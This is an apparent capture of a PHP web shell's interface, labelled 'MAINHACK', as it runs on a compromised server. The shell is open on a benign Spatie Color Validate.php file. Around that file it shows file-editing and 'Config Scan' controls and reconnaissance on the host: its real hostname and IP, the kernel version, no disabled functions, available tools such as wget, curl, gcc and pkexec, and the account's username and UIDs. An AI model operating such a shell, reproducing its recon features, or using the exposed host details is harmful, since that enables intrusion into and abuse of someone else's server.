[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Validate.php
<?php namespace Spatie\Color; use Spatie\Color\Exceptions\InvalidColorValue; class Validate { public static function CIELabValue(float $value, string $name): void { if ($name === 'l' && ($value < 0 || $value > 100)) { throw InvalidColorValue::CIELabValueNotInRange($value, $name, 0, 100); } if (($name === 'a' || $name === 'b') && ($value < -110 || $value > 110)) { throw InvalidColorValue::CIELabValueNotInRange($value, $name, -110, 110); } } public static function CIELabColorString($string): void { if (! preg_match('/^ *CIELab\( *\d{1,3}\.?\d* *, *-?\d{1,3}\.?\d* *, *-?\d{1,3}\.?\d* *\) *$/i', $string)) { throw InvalidColorValue::malformedCIELabColorString($string); } } public static function cmykValue(float $value, string $name): void { if ($value < 0 || $value > 1) { throw InvalidColorValue::cmykValueNotInRange($value, $name); } } public static function rgbChannelValue(int $value, string $channel): void { if ($value < 0 || $value > 255) { throw InvalidColorValue::rgbChannelValueNotInRange($value, $channel); } } public static function alphaChannelValue(float $value): void { if ($value < 0 || $value > 1) { throw InvalidColorValue::alphaChannelValueNotInRange($value); } } public static function hexChannelValue(string $value): void { if (strlen($value) !== 2) { throw InvalidColorValue::hexChannelValueHasInvalidLength($value); } if (! preg_match('/[a-f0-9]{2}/i', $value)) { throw InvalidColorValue::hexValueContainsInvalidCharacters($value); } } public static function hsbValue(float $value, string $name): void { switch ($name) { case 'hue': if ($value < 0 || $value > 360) { throw InvalidColorValue::hsbValueNotInRange($value, $name); } break; default: if ($value < 0 || $value > 100) { throw InvalidColorValue::hsbValueNotInRange($value, $name); } break; } } public static function hslValue(float $value, string $name): void { if ($value < 0 || $value > 100) { throw InvalidColorValue::hslValueNotInRange($value, $name); } } public static function cmykColorString($string): void { if (! preg_match('/^ *cmyk\( *(\d{1,3})%? *, *(\d{1,3})%? *, *(\d{1,3})%? *, *(\d{1,3})%? *\) *$/i', $string)) { throw InvalidColorValue::malformedCmykColorString($string); } } public static function rgbColorString($string): void { if (! preg_match('/^ *rgb\( *\d{1,3} *, *\d{1,3} *, *\d{1,3} *\) *$/i', $string)) { throw InvalidColorValue::malformedRgbColorString($string); } } public static function rgbaColorString($string): void { if (! preg_match('/^ *rgba\( *\d{1,3} *, *\d{1,3} *, *\d{1,3} *, *[0-1]*(\.\d{1,})? *\) *$/i', $string)) { throw InvalidColorValue::malformedRgbaColorString($string); } } public static function hexColorString($string): void { if (! preg_match('/^#(?:[a-f0-9]{3}|[a-f0-9]{4}|[a-f0-9]{6}|[a-f0-9]{8})$/i', $string)) { throw InvalidColorValue::malformedHexColorString($string); } } public static function hsbColorString($string): void { if (! preg_match(HsPatterns::getValidationPattern('hsb'), $string)) { throw InvalidColorValue::malformedHslColorString($string); } } public static function hslColorString($string): void { if (! preg_match(HsPatterns::getValidationPattern('hsl'), $string)) { throw InvalidColorValue::malformedHslColorString($string); } } public static function hslaColorString($string): void { if (! preg_match(HsPatterns::getValidationPattern('hsla'), $string)) { throw InvalidColorValue::malformedHslaColorString($string); } } public static function xyzValue(float $value, string $name): void { if ($name === 'x' && ($value < 0 || $value > 95.047)) { throw InvalidColorValue::xyzValueNotInRange($value, $name, 0, 95.047); } if ($name === 'y' && ($value < 0 || $value > 100)) { throw InvalidColorValue::xyzValueNotInRange($value, $name, 0, 100); } if ($name === 'z' && ($value < 0 || $value > 108.883)) { throw InvalidColorValue::xyzValueNotInRange($value, $name, 0, 108.883); } } public static function xyzColorString($string): void { if (! preg_match('/^ *xyz\( *\d{1,2}\.?\d+? *, *\d{1,3}\.?\d+? *, *\d{1,3}\.?\d+? *\) *$/i', $string)) { throw InvalidColorValue::malformedXyzColorString($string); } } public static function namedColorString($string): void { if (! preg_match('/^[a-z]+$/i', $string)) { throw InvalidColorValue::malformedNamedColorString($string); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002